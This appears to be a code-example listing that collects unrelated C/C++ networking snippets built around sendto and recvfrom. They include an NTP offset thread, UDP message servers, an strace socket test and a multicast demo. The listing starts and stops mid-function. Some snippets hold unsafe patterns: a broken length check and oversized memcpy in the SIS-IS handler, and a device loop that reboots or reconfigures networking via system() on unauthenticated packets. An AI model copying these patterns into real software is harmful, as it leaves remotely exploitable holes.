    printf("Trying to find NTP server at localhost...\n");

    std::string strLocalHost = "127.0.0.1";
    if (NtpGetTime(strLocalHost) == GetTime()) {
        printf("There is NTP server active at localhost,  we don't need NTP thread.\n");

        nNtpOffset = 0;
        return;
    }

    printf("ThreadNtpSamples started\n");
    vnThreadsRunning[THREAD_NTP]++;

    // Make this thread recognisable as time synchronization thread
    RenameThread("eCoin-ntp-samples");

    CMedianFilter<int64_t> vTimeOffsets(200,0);

    while (!fShutdown) {
        if (strTrustedUpstream != "localhost") {
            // Trying to get new offset sample from trusted NTP server.
            int64_t nClockOffset = NtpGetTime(strTrustedUpstream) - GetTime();

            if (abs64(nClockOffset) < nMaxOffset) {
                // Everything seems right, remember new trusted offset.
                printf("ThreadNtpSamples: new offset sample from %s, offset=%" PRId64 ".\n", strTrustedUpstream.c_str(), nClockOffset);
                nNtpOffset = nClockOffset;
            }
            else {
                // Something went wrong, disable trusted offset sampling.
                nNtpOffset = INT64_MAX;
                strTrustedUpstream = "localhost";

                int nSleepMinutes = 1 + GetRandInt(9); // Sleep for 1-10 minutes.
                for (int i = 0; i < nSleepMinutes * 60 && !fShutdown; i++)
                    Sleep(1000);

                continue;
            }
        }
        else {
            // Now, trying to get 2-4 samples from random NTP servers.
            int nSamplesCount = 2 + GetRandInt(2);

            for (int i = 0; i < nSamplesCount; i++) {
                CNetAddr ip;
                int64_t nClockOffset = NtpGetTime(ip) - GetTime();

                if (abs64(nClockOffset) < nMaxOffset) { // Skip the deliberately wrong timestamps
                    printf("ThreadNtpSamples: new offset sample from %s, offset=%" PRId64 ".\n", ip.ToString().c_str(), nClockOffset);
                    vTimeOffsets.input(nClockOffset);
                }
            }

            if (vTimeOffsets.size() > 1) {
                nNtpOffset = vTimeOffsets.median();
            }
            else {
                // Not enough offsets yet, try to collect additional samples later.
                nNtpOffset = INT64_MAX;
                int nSleepMinutes = 1 + GetRandInt(4); // Sleep for 1-5 minutes.
                for (int i = 0; i < nSleepMinutes * 60 && !fShutdown; i++) 
                    Sleep(1000);
                continue;
            }
        }

        if (GetNodesOffset() == INT_MAX && abs64(nNtpOffset) > 40 * 60)
        {
            // If there is not enough node offsets data and NTP time offset is greater than 40 minutes then give a warning.
            std::string strMessage = _("Warning: Please check that your computer's date and time are correct! If your clock is wrong eCoin will not work properly.");
            strMiscWarning = strMessage;
            printf("*** %s\n", strMessage.c_str());
            uiInterface.ThreadSafeMessageBox(strMessage+" ", std::string("eCoin"), CClientUIInterface::OK | CClientUIInterface::ICON_EXCLAMATION);
        }

        printf("nNtpOffset = %+" PRId64 "  (%+" PRId64 " minutes)\n", nNtpOffset, nNtpOffset/60);

        int nSleepHours = 1 + GetRandInt(5); // Sleep for 1-6 hours.
        for (int i = 0; i < nSleepHours * 3600 && !fShutdown; i++)
            Sleep(1000);
    }

    vnThreadsRunning[THREAD_NTP]--;
    printf("ThreadNtpSamples exited\n");
}
コード例 #12
0
ファイル: messnet.c プロジェクト: BackupTheBerlios/pop
// Server Main Loop...
void calcserv(serverchan *sc)
{
 struct sockaddr_in taddr;
 sock_size_t addrlength; // I hate these different types in different envs
 char gbuf[MAXBUF];
 int gbuflen,gbufpos,datalen;
 int i;
 mestyp b;
 s_client *al,*bl;

 // Messages empfangen
 addrlength=sizeof(struct sockaddr_in);
 while ((gbuflen=recvfrom (sc->fd, gbuf, MAXBUF, 0, (struct sockaddr *) &taddr,
        					&addrlength)) > 0) {
  gbufpos=0;
  // Client suchen
  for (al=sc->first;al!=NULL;al=al->next)
   if (al->a.sin_port==taddr.sin_port && al->a.sin_addr.s_addr==taddr.sin_addr.s_addr)
    break;

  if (al!=NULL || (*((mestyp *) (gbuf+gbufpos))==MESNEWCLIENT)) {

  while (gbufpos<gbuflen) {
  if (al!=NULL && al->status==1) {
   // Noch Daten erwartet...
   memcpy (al->buf+al->bufpos,gbuf, (gbuflen-gbufpos)<al->rest ? (gbuflen-gbufpos) : al->rest);

   if ( (gbuflen-gbufpos) <al->rest) {
     al->bufpos+=gbuflen-gbufpos;
     gbufpos=0;
   } else {
    switch (al->aktion) {
     case MT_INTEGER:
      s_decompr_int (sc,al,al->buf);
      break;
     case MT_STRING:
      s_decompr_str (sc,al,al->buf);
      break;
     case MT_DATA:
      s_decompr_dat (sc,al,al->buf);
      break;
     default:
      debug_print ("seltsamer Fehler!\n");
     }
    al->bufpos=0;
    al->aktion=0;
    al->status=0;

    gbufpos+=al->rest;
   }
  } else {

  // Aktion herausfinden
  if (al!=NULL && al->status!=0) {
   b=al->status;
  } else {
   b=*((mestyp *) (gbuf+gbufpos));
   gbufpos+=sizeof(mestyp);
  }

  switch ( b ) {
   case MESNEWCLIENT:
    // An Liste anh„ngen...
    if (al==NULL) {
     if (sc->acpt_client) {
      al=sc->first;
      sc->first= (s_client *) malloc (sizeof(s_client));
      sc->first->buf=(char *) malloc(MAXBUF);
      sc->first->bufpos=0;
      sc->first->status=0;
      sc->first->rest=0;
      sc->first->aktion=0;

      sc->first->a=taddr;
      sc->first->next=al;
      al=sc->first;

      // Accept Message
      b=MESACPTCLIENT;
      if (sendto (sc->fd, &b, sizeof(mestyp), 0, (struct sockaddr *) &taddr,
         						addrlength) < 0) {
       debug_print ("Send Error!\n");
       return;
      }
      debug_print ("Client accepted!\n");
#ifdef PAS_RECV
      s_sendmsg (sc,sc->first,32,1,0,0);
#endif
     } else {
      //Client rausschmei˜en...
      b=MESDENYCLIENT;
      if (sendto (sc->fd, &b, sizeof(mestyp), 0, (struct sockaddr *) &taddr,
          						addrlength) < 0) {
       debug_print ("Send Error!\n");
       return;
      }
      debug_print ("Client denied!\n");
     }
    } else debug_print ("Double Accepting!\n");
    break;

   case MESSYNC:
    debug_print ("Synchronizing... \n");
    server_sync(al);
    break;

   case MESEXITCLIENT:
    // Aus Liste l÷schen...
    debug_print ("Client disconnected!\n");
#ifdef PAS_RECV
    s_sendmsg (sc,al,32,2,0,0);
#endif
    if (sc->first==al)
     sc->first=al->next;
    else {
     for (bl=sc->first;bl->next!=al;bl=bl->next);
     bl->next=al->next;
    }
    /* Alle vorkommen in der Message-Queue suchen und löschen... */
    for (i=0;i<sc->qpos;i++) {
     if (sc->queue[i]->a==&al->a)
      sc->queue[i]->a=NULL;
    }
    free (al->buf);
    free (al);
    al=NULL;
    break;

   case MESMESS:
    //Header lesen...
    if (gbuflen-gbufpos==0) {
     al->status=MESMESS; /* Auf Header warten */
    } else

    if (gbuflen-gbufpos < sizeof(messheader)) { /*Schit! Header ist nicht mehr
                                                  mit im Paket!*/
     debug_print ("Header nicht mit im Paket!\n");
     server_sync(al);
    } else {
     messheader *h=(messheader *) gbuf+gbufpos;
     if (gbuflen-gbufpos>=sizeof(messheader)+h->len) /* Message passt in einen
       						Buffer, GUT! */
      {
       switch (h->typ) {
        case MT_INTEGER:
         s_decompr_int (sc,al,(char *) h);
         break;
        case MT_STRING:
         s_decompr_str (sc,al,(char *) h);
         break;
        case MT_DATA:
         s_decompr_dat (sc,al,(char *) h);
         break;
        default:
         debug_print ("fehlerhafte Message!\n");
         server_sync(al);
         break;
       }
      gbufpos+=sizeof(messheader)+h->len;
      al->status=0;
      }
     else { /* Message passt nicht, SCHLECHT! */
      al->status=1;
      al->rest=h->len- (sizeof(messheader)+gbuflen-gbufpos);
      al->bufpos=gbuflen-gbufpos;
      al->aktion=h->typ;
      memcpy (al->buf,h,gbuflen-gbufpos);

      gbufpos=gbuflen;
      debug_print ("Big Message!\n");
     }
    }
    break;

   default:
    debug_print ("Unbekannte Message!\n");
    server_sync(al);
  } // case mestyp...
  } // if status=0
  } // While gbufpos>0
  } // if al!=NULL || b=MESNEWCLIENT
 } // while recvfrom...

 // Queue senden...
 for (i=0;i<sc->qpos;i++) {
  if (sc->queue[i]->a!=NULL) {
   b=MESMESS;
   if (sendto (sc->fd, &b, sizeof(mestyp),
  	0, (struct sockaddr *) sc->queue[i]->a, sizeof(struct sockaddr_in)) !=
         	sizeof(mestyp)) {
     debug_print ("Send Fehler!\n");
   }

   datalen=sizeof(messheader)+sc->queue[i]->h.len;
   if (sendto (sc->fd, &(sc->queue[i]->h), datalen,
  	0, (struct sockaddr *) sc->queue[i]->a, sizeof(struct sockaddr_in)) !=
         	datalen) {
     debug_print ("Send Fehler!\n");
   }
   free (sc->queue[i]);
  }
 }
 // Queue leeren
 sc->qpos=0;
}
コード例 #13
0
ファイル: test-udp.c プロジェクト: Cai900205/test
int SndToSock(int sockfd,struct sockaddr_in * addr,char buffer[])
{
        int len = sizeof(struct sockaddr_in);
        sendto(sockfd,buffer,strlen(buffer),0,(struct sockaddr*)addr,len); 
        return 0;
}
コード例 #14
0
ファイル: sisisd.c プロジェクト: ecks/sis-is
// Similar function in sisis_api.c
void sisis_process_message(char * msg, int msg_len, int sock, struct sockaddr * from, socklen_t from_len)
{
	// Get message version
	unsigned short version = 0;
	if (msg_len >= 2)
		version = ntohs(*(unsigned short *)msg);
	printf("Message:\n");
	printf("\tVersion: %u\n", version);
	if (version == 1)
	{
		// Get request id
		unsigned int request_id = 0;
		if (msg_len >= 6)
			request_id = ntohl(*(unsigned int *)(msg+2));
		printf("\tRequest Id: %u\n", request_id);
		
		// Get command
		unsigned short command = -1;
		if (msg_len >= 8)
			command = ntohs(*(unsigned short *)(msg+6));
		printf("\tCommand: %u\n", command);
		switch (command)
		{
			case SISIS_CMD_REGISTER_ADDRESS:
			case SISIS_CMD_UNREGISTER_ADDRESS:
				{
#ifdef USE_IPV6
					if (msg_len >= 12)
					{
						// Set up prefix
						struct prefix p;
						p.family = ntohs(*(unsigned short *)(msg+8));
						p.prefixlen = 128;
						
						// Get address
						short len = ntohs(*(unsigned short *)(msg+10));
						char ip_addr[64];
						memset(ip_addr, 0, 64);
						if (len >= 64 || msg_len > msg-12)
							printf("Invalid IP address length: %hd\n", len);
						else
						{
							memcpy(ip_addr, msg+12, len);
							printf("\tIP Address: %s\n", ip_addr);
							
							// Set expiration
							time_t expires = time(NULL) + SISIS_ADDRESS_TIMEOUT;
							
							// Get loopback ifindex
							int ifindex = if_nametoindex("lo");
							
							// Set up prefix
							if (inet_pton(p.family, ip_addr, &p.u.prefix) != 1)
							{
								// Construct reply
								char * buf;
								int buf_len = sisis_construct_message(&buf, SISIS_MESSAGE_VERSION, request_id, SISIS_NACK, NULL, 0);
								sendto(sock, buf, buf_len, 0, from, from_len);
								free(buf);
								
								zlog_err ("sisis_process_message: Invalid SIS-IS address: %s", ip_addr);
								return;
							}
							
							int zcmd = (command == SISIS_CMD_REGISTER_ADDRESS) ? ZEBRA_INTERFACE_ADDRESS_ADD : ZEBRA_INTERFACE_ADDRESS_DELETE;
							int status = zapi_interface_address(zcmd, zclient, &p, ifindex, &expires);
							
							// Construct reply
							char * buf;
							int buf_len = sisis_construct_message(&buf, SISIS_MESSAGE_VERSION, request_id, (status == 0) ? SISIS_ACK : SISIS_NACK, NULL, 0);
							printf("\tSending %s\n", (status == 0) ? "ACK" : "NACK");
							sendto(sock, buf, buf_len, 0, from, from_len);
							free(buf);
						}
					}
#else /* IPv6 Version */
					char ip_addr[INET_ADDRSTRLEN+1];
					memset(ip_addr, 0, INET_ADDRSTRLEN+1);
					memcpy(ip_addr, msg+8, from_len-8);
					printf("\tIP Address: %s\n", ip_addr);
					
					// Set expiration
					time_t expires = time(NULL) + SISIS_ADDRESS_TIMEOUT;
					
					// Get loopback ifindex
					int ifindex = if_nametoindex("lo");
					
					// Set up prefix
					struct prefix_ipv4 p;
					p.family = AF_INET;
					p.prefixlen = 32;
					if (inet_pton(AF_INET, ip_addr, &p.prefix.s_addr) != 1)
					{
						// Construct reply
						char * buf;
						int buf_len = sisis_construct_message(&buf, SISIS_MESSAGE_VERSION, request_id, SISIS_NACK, NULL, 0);
						sendto(sock, buf, buf_len, 0, from, from_len);
						free(buf);
						
						zlog_err ("sisis_process_message: Invalid SIS-IS address: %s", ip_addr);
						return;
					}
					
					int zcmd = (command == SISIS_CMD_REGISTER_ADDRESS) ? ZEBRA_INTERFACE_ADDRESS_ADD : ZEBRA_INTERFACE_ADDRESS_DELETE;
					int status = zapi_interface_address(zcmd, zclient, &p, ifindex, &expires);
					
					// Construct reply
					char * buf;
					int buf_len = sisis_construct_message(&buf, SISIS_MESSAGE_VERSION, request_id, (status == 0) ? SISIS_ACK : SISIS_NACK, NULL, 0);
					printf("\tSending %s\n", (status == 0) ? "ACK" : "NACK");
					sendto(sock, buf, buf_len, 0, from, from_len);
					free(buf);
#endif /* USE_IPV6 */
				}
				break;
		}
	}
}
コード例 #15
0
//---------------------------------------------------
//    自动返回控制器器IP主函数
//---------------------------------------------------
//int main(int argc, char *argv[])
int configpalen_ipdetaup(void)
{
    int s_fd=0;
    int ret = 0;
    int i = 0;
    unsigned char sys_id[6];
    unsigned char buf[64];
    unsigned char request_buf[13];
    unsigned char h_ip[4];
    unsigned char s_ip[16];
    unsigned char s_gw[16];
    //unsigned char *ip="192.172.1.125";
    unsigned char setip[32] = "ifconfig eth0 ";
    int s_len = strlen(setip);

    unsigned char setgw[64] = "route add default gw ";
    int g_len = strlen(setgw);

    unsigned char k_ip[4];
    unsigned char smk[6];
    int sys_id_flag = 0;

    read_identifier(sys_id);//读取identifier.ini中保存的信息

    request_buf[0] = CAM_TYPE_TOP1;
    request_buf[1] = CAM_TYPE_TOP2;
    request_buf[2] = CAM_TYPE_REPLY;
    memcpy(request_buf+3, sys_id, 6);

    unsigned char versionbuf[2];

    //获取系统本身IP

    //ret = save_system_ip(ip, strlen(ip));

    ret = read_txt_ip(s_ip, h_ip);//读取systemip.ini中的信息
    if(ret < 0)
    {
        //获取文本的IP错误
        printf("read system ip file error!!!\n");
        GetIP_v4_and_v6_linux(AF_INET,s_ip,16);        //获取系统的IP
        ret = save_system_ip(s_ip, strlen(s_ip));
    }

    /*//printf("s_ip=%s\n",s_ip);
    memcpy(setip+s_len, s_ip, strlen(s_ip)+1);
    printf("set ip:%s\n",setip);

    system(setip);//还进行了设置。

    myread_txt_ip(s_gw, h_ip);
    memcpy(setgw+g_len, s_gw, strlen(s_gw)+1);
    printf("set gateway:%s\n",setgw);
    system(setgw);*/


    s_fd = make_send_multicast_init(s_ip);    //创建主播发送字符,只使用一个套接字也完全可以的。ghf

    socklen_t  len=sizeof(addr);
    extern int errno;

    static int val=0;



    cpufd = open("/dev/cpu_led",O_RDONLY);
    if (cpufd < 0)
    {
        system("insmod cpu_led.ko");
        sleep(2);
        cpufd = open("/dev/cpu_led",O_RDONLY);
        if (cpufd < 0){
            printf("error,open device cpu_led!!!\n");
        }
    }
    else{
        printf("open device cpu_led!!!\n");
    }

    //此接口走路由不行,但直连不同字段都可以
    struct sockaddr_in peeraddr;
    bzero(&peeraddr, sizeof(peeraddr));
    peeraddr.sin_family = AF_INET;
    peeraddr.sin_port = htons(MUTIL_PORT);
    peeraddr.sin_addr.s_addr = inet_addr(MUTIL_ADDR);


    while(1)
    {
        //防止arm端ip被改
        GetIP_v4_and_v6_linux(AF_INET,s_ip,16);
        save_system_ip(s_ip, strlen(s_ip));

        val++;

        ret = recvfrom(s_fd, buf, 64, 0, (struct sockaddr*)&addr, &len);//最后一个参数的定义跟sendto不一样,注意!

        //printf("recvret=%d,buf[2]=%d\n",ret,buf[2]);
        if(ret == -1){
            printf("in configpalen_ipdetaup recvfrom error\n");
            break;
        }
        else
        {
            buf[ret]='\0';
            if(buf[2] == CAM_TYPE_REQUEST) //得到请求IP命令,mt500将ip地址和网卡地址发上去显示,收到后会发一个
                                            //CAM_TYPE_REPLY下来
            {
                printf("------1\n");
                read_txt_ip(s_ip, h_ip);
                memcpy(request_buf+9, h_ip, 4);

                versionbuf[0]=0x01;
                versionbuf[1]=0x01; //当前版本号为1.01 累计到1.10后,进到2.00。依次类推
                                    //版本更新内容用txt文档记录,交由上层显示

                memcpy(request_buf+13, versionbuf, 2);

                //以下判断条件不加也可以,因为如果没有链接的话,while一开始的地方recvfrom会阻塞,不会进到下面来发送
                ret=0;
                if(s_fd>0)
                    ret=sendto(s_fd,request_buf,15,0,(struct sockaddr *)&addr,sizeof(addr));
                //if(sfd>0)
                //    ret=sendto(sfd,request_buf,15,0,(struct sockaddr *)&peeraddr,sizeof(peeraddr));

                if(ret<0){
                    printf("errno=%d,---sendret=%d,%s\n",errno,ret,strerror(errno));
                    system("ifconfig eth0 192.172.1.85");
                    system("route add default gw 192.172.1.1");
                    ioctl(cpufd,0,0);
                }
                else{
                    printf("sendret=%d, ipaddr to serverok\n",ret);
                    if(val%2==0)
                        ioctl(cpufd,1,0);
                    else
                        ioctl(cpufd,0,0);
                }
            }
            else if(buf[2] == CAM_TYPE_MODIFY)    //得到设置IP命令,上层可以直接设置ip才行!2015-9-16
            {
                memcpy(smk, buf+3, 6);
                for(i = 0; i < 6; i+=1)
                {
                    if(smk[i] != sys_id[i])
                    {
                        sys_id_flag = 1;
                        break;
                    }
                }

                if(sys_id_flag == 0)
                {
                    memcpy(k_ip, buf+9, 4);
                    //printf("%02x %02x %02x %02x\n",k_ip[0],k_ip[1],k_ip[2],k_ip[3]);
                    if(k_ip[0] != 0x0)
                    {
                        //continue;
                        writ_txt_ip(k_ip);
                        read_txt_ip(s_ip,h_ip);

                        printf("sip:%s\n",s_ip);
                        memcpy(setip+s_len, s_ip, strlen(s_ip)+1);
                        //printf("set ip:%s\n",setip);
                        close(s_fd);
                        system(setip);

                        myread_txt_ip(s_gw, h_ip);
                        memcpy(setgw+g_len, s_gw, strlen(s_gw)+1);
                        printf("***********************\n");
                        printf("set gateway:%s\n",setgw);
                        printf("***********************\n");
                        system(setgw);

                        s_fd = make_send_multicast_init(s_ip);
                    }
                    //printf("================================================\n");
                }
            }
            else if(buf[2] == CAM_TYPE_REBOOT)        //得到请求重启控制器命令
            {
                //printf("------3\n");
                memcpy(smk, buf+3, 6);
                for(i = 0; i < 6; i+=1)
                {
                    if(smk[i] != sys_id[i])
                    {
                        sys_id_flag = 1;
                        break;
                    }
                }

                if(sys_id_flag == 0){
                    printf("reboot!!!!!!!!!!!!!!!!!!!\n");
                    system("reboot");
                }
            }
        }
        usleep(100000);
    }

    close(s_fd);
    return 0;
}
コード例 #16
0
ファイル: net-yy-inet.c プロジェクト: lineprinter/strace
int
main(void)
{
	skip_if_unavailable("/proc/self/fd/");

	const struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK)
	};
	struct sockaddr * const listen_sa = tail_memdup(&addr, sizeof(addr));
	TAIL_ALLOC_OBJECT_CONST_PTR(socklen_t, len);
	*len = sizeof(addr);

	const int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (listen_fd < 0)
		perror_msg_and_skip("socket");
	const unsigned long listen_inode = inode_of_sockfd(listen_fd);
	printf("socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = %d<TCP:[%lu]>\n",
	       listen_fd, listen_inode);

	if (bind(listen_fd, listen_sa, *len))
		perror_msg_and_skip("bind");
	printf("bind(%d<TCP:[%lu]>, {sa_family=AF_INET, sin_port=htons(0)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, %u) = 0\n",
	       listen_fd, listen_inode, (unsigned) *len);

	if (listen(listen_fd, 1))
		perror_msg_and_skip("listen");
	printf("listen(%d<TCP:[%lu]>, 1) = 0\n", listen_fd, listen_inode);

	memset(listen_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	if (getsockname(listen_fd, listen_sa, len))
		perror_msg_and_fail("getsockname");
	const unsigned int listen_port =
		ntohs(((struct sockaddr_in *) listen_sa)->sin_port);
	printf("getsockname(%d<TCP:[127.0.0.1:%u]>, {sa_family=AF_INET"
	       ", sin_port=htons(%u), sin_addr=inet_addr(\"127.0.0.1\")}"
	       ", [%u]) = 0\n",
	       listen_fd, listen_port, listen_port, (unsigned) *len);

	TAIL_ALLOC_OBJECT_CONST_PTR(unsigned int, optval);
	*len = sizeof(*optval);
	if (getsockopt(listen_fd, SOL_TCP, TCP_MAXSEG, optval, len))
		perror_msg_and_fail("getsockopt");
	printf("getsockopt(%d<TCP:[127.0.0.1:%u]>, SOL_TCP, TCP_MAXSEG"
	       ", [%u], [%u]) = 0\n",
	       listen_fd, listen_port, *optval, (unsigned) *len);

	const int connect_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (connect_fd < 0)
		perror_msg_and_fail("socket");
	const unsigned long connect_inode = inode_of_sockfd(connect_fd);
	printf("socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = %d<TCP:[%lu]>\n",
	       connect_fd, connect_inode);

	*len = sizeof(addr);
	if (connect(connect_fd, listen_sa, *len))
		perror_msg_and_fail("connect");
	printf("connect(%d<TCP:[%lu]>, {sa_family=AF_INET, sin_port=htons(%u)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, %u) = 0\n",
	       connect_fd, connect_inode, listen_port, (unsigned) *len);

	struct sockaddr * const accept_sa = tail_alloc(sizeof(addr));
	memset(accept_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	const int accept_fd = accept(listen_fd, accept_sa, len);
	if (accept_fd < 0)
		perror_msg_and_fail("accept");
	const unsigned int connect_port =
		ntohs(((struct sockaddr_in *) accept_sa)->sin_port);
	printf("accept(%d<TCP:[127.0.0.1:%u]>, {sa_family=AF_INET"
	       ", sin_port=htons(%u), sin_addr=inet_addr(\"127.0.0.1\")}"
	       ", [%u]) = %d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>\n",
	       listen_fd, listen_port, connect_port, (unsigned) *len,
	       accept_fd, listen_port, connect_port);

	memset(accept_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	if (getpeername(accept_fd, accept_sa, len))
		perror_msg_and_fail("getpeername");
	printf("getpeername(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>"
	       ", {sa_family=AF_INET, sin_port=htons(%u)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, [%u]) = 0\n",
	       accept_fd, listen_port, connect_port, connect_port,
	       (unsigned) *len);

	memset(listen_sa, 0, sizeof(addr));
	*len = sizeof(addr);
	if (getpeername(connect_fd, listen_sa, len))
		perror_msg_and_fail("getpeername");
	printf("getpeername(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>"
	       ", {sa_family=AF_INET, sin_port=htons(%u)"
	       ", sin_addr=inet_addr(\"127.0.0.1\")}, [%u]) = 0\n",
	       connect_fd, connect_port, listen_port, listen_port,
	       (unsigned) *len);

	*len = sizeof(*optval);
	if (setsockopt(connect_fd, SOL_TCP, TCP_MAXSEG, optval, *len))
		perror_msg_and_fail("setsockopt");
	printf("setsockopt(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>"
	       ", SOL_TCP, TCP_MAXSEG, [%u], %u) = 0\n",
	       connect_fd, connect_port, listen_port, *optval,
	       (unsigned) *len);

	char text[] = "text";
	assert(sendto(connect_fd, text, sizeof(text) - 1,
	       MSG_DONTROUTE | MSG_DONTWAIT, NULL, 0) == sizeof(text) - 1);
	printf("sendto(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>, \"%s\", %u"
	       ", MSG_DONTROUTE|MSG_DONTWAIT, NULL, 0) = %u\n",
	       connect_fd, connect_port, listen_port, text,
	       (unsigned) sizeof(text) - 1, (unsigned) sizeof(text) - 1);

	assert(close(connect_fd) == 0);
	printf("close(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>) = 0\n",
	       connect_fd, connect_port, listen_port);

	assert(recvfrom(accept_fd, text, sizeof(text) - 1, MSG_WAITALL,
			NULL, NULL) == sizeof(text) - 1);
	printf("recvfrom(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>, \"%s\", %u"
	       ", MSG_WAITALL, NULL, NULL) = %u\n",
	       accept_fd, listen_port, connect_port, text,
	       (unsigned) sizeof(text) - 1, (unsigned) sizeof(text) - 1);

	assert(close(accept_fd) == 0);
	printf("close(%d<TCP:[127.0.0.1:%u->127.0.0.1:%u]>) = 0\n",
	       accept_fd, listen_port, connect_port);

	assert(close(listen_fd) == 0);
	printf("close(%d<TCP:[127.0.0.1:%u]>) = 0\n",
	       listen_fd, listen_port);

	puts("+++ exited with 0 +++");
	return 0;
}
コード例 #17
0
ファイル: multicast.c プロジェクト: MagnusTiberius/code
int main()
{
  int s, len, nbytes, one = 1;
  static struct sockaddr_in sin;
  static struct ip_mreq imr;
  char  buf[100];

  if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
  {
    perror("socket");
    return 1;
  }

  if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, (char *) &one, sizeof (one)) == -1)
  {
    perror("setsockopt: SO_REUSEADDR");
    exit(1);
  }

#ifdef SO_REUSEPORT
  /*
   * This must be added for OSF1 v2.x (and BSD 4.3)
   */
  if (setsockopt (s, SOL_SOCKET, SO_REUSEPORT, (char *) &one, sizeof (one)) == -1) 
  {
    perror("setsockopt: SO_REUSEADDR");
    exit(1);
  }
#endif

  sin.sin_family = AF_INET;
  sin.sin_port   = htons (PORT);
  sin.sin_addr.s_addr = htonl (INADDR_ANY);
  if (bind (s, (struct sockaddr *) & sin, sizeof (sin)) == -1) 
  {
    perror ("bind");
    return 1;
  }

  /*
   * the original posting was = htonl(inet_addr (GROUP)) 
   * which is wrong.
   *
   * Send greeting message to multicast group: 
   */
  sin.sin_addr.s_addr = inet_addr (GROUP);
  if (sendto (s, "Hi!", 4, 0, (struct sockaddr *) & sin, sizeof (sin)) == -1) 
  {
    perror("socket");
    return 1;
  }

  /*
   * Join the group: 
   * IP multicast address of group:
   * local IP address of interface:
   */ 
  imr.imr_multiaddr = sin.sin_addr;
  imr.imr_interface.s_addr = htonl (INADDR_ANY);

  if (setsockopt (s, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char *) &imr, sizeof (imr)) == -1)
  {
    /*
     * The original posting did not include this:
     * [email protected] (Torsten Kerschat) stated:
     * Using setsockopt again with the same options on the
     * same socket would fail, although it is correct. Therefore:
     */
    if (errno != EADDRINUSE)
    {
      perror("setsockopt: IPPROTO_IP, IP_ADD_MEMBERSHIP");
      return 1;
    }

  }

  /*
   * Listen for greeting messages sent to the multicast group: 
   */
  while (1)
  {
    len = sizeof (sin);
    if ((nbytes = recvfrom(s, buf, 100, 0, (struct sockaddr *) &sin, &len)) == -1)
    {
      perror ("recvfrom");
      return 1;
    }

    printf ("%s:\t%.*s\n", inet_ntoa (sin.sin_addr), nbytes, buf);
  }
  /* NOTREACHED */
}
コード例 #18
0
ファイル: server.c プロジェクト: JamesSpiares/examples
/**
 * Runs a math library service server with TCP or UDP at the given port.
 * Default port: 12345
 * Command line usage: "./server < TCP | UDP > [ PORT ]" 
 * Use [^C] to stop a running server process
**/
int main(int argc, char **argv)
{
	if (argc < 2 || argc > 3)	//Incorrect usage
	{
		printf("Usage: \"./server < TCP | UDP > [ PORT ]\"\n\n");
		exit(1);
	}
	
	static struct sigaction act;	//Set up signal handler
	act.sa_handler = catcher;
	sigfillset(&(act.sa_mask));
	sigaction(SIGPIPE, &act, NULL);
	
	if (strcmp(argv[1], "TCP") == 0)	//Run in TCP mode
	{
		struct sockaddr_in server = {AF_INET, argc > 2 ? htons(atoi(argv[2])) : htons(DEFAULT_SERVICE_PORT), htonl(INADDR_ANY)};
		
		if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)	//Create socket
		{
			printf("Failed to create socket.\n\n");
			exit(2);
		}
		if (bind(sockfd, (struct sockaddr *) &server, sizeof(struct sockaddr)) == -1)	//Bind socket
		{
			printf("Failed to connect to socket.\n\n");
			exit(3);
		}
		if (listen(sockfd, 5) == -1)	//Listen to socket
		{
			printf("Failed to listen to socket.\n\n");
			exit(4);
		}
		
		printf("Awaiting connections...\t[Press [^C] to exit.\n");
		while (1)	//Accepting loop
		{
			if ((newsockfd = accept(sockfd, NULL, NULL)) == -1)	//Error
			{
				printf("Failed to accept incoming connection.\n");
				continue;
			}
			if (fork() == 0)	//Spawn a child thread to handle new connection
			{
				printf("New connection accepted. Handled by process %d.\n", getpid());	
				struct Message *s = (struct Message *) malloc(sizeof(struct Message));	//Message to send
				struct Message *r =  (struct Message *) malloc(sizeof(struct Message));	//Message to receive
				struct Packet *packet = (struct Packet *) malloc(sizeof(struct Packet));	//Buffer for network transmission
				memset(packet, 0, sizeof(struct Message));	//Set default values
				while (recv(newsockfd, packet, sizeof(struct Packet), 0) > 0)	//Main receiving request loop
				{
					deserialize(packet, r);	//Deserialize request
					printf("%d: received request\n", getpid());
					printBytes(packet);
					printMessage(r);
					if (r->type != 0)	//Not request message; ignore
						continue;
					produceResponse(r, s);
					serialize(s, packet);	//Serialize response
					send(newsockfd, packet, sizeof(struct Packet), 0);	//Send response
				}
				printf("Client terminated connection for process %d.\n", getpid());	//Indicate client has terminated connection
				close(newsockfd);
				exit(0);
			}
			close(newsockfd);	//Parent closes the new network connection immediately
		}
	}
	else if (strcmp(argv[1], "UDP") == 0)	//Run in UDP mode
	{
		int sockfd;
		struct sockaddr_in server = {AF_INET, htons(DEFAULT_SERVICE_PORT), htonl(INADDR_ANY)};
		struct sockaddr_in client;
		int client_len = sizeof(struct sockaddr_in);
		
		if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)	//Create socket
		{
			printf("Failed to create socket.\n\n");
			exit(2);
		}
		if (bind(sockfd, (struct sockaddr *) &server, sizeof(struct sockaddr)) == -1)	//Bind socket
		{
			printf("Failed to connect to socket.\n\n");
			exit(3);
		}
		
		printf("Awaiting requests...\n");
		struct Message *s = (struct Message *) malloc(sizeof(struct Message));
		struct Message *r = (struct Message *) malloc(sizeof(struct Message));
		struct Packet *packet = (struct Packet *) malloc(sizeof(struct Packet));
		while (1)	//Main listening loop
		{
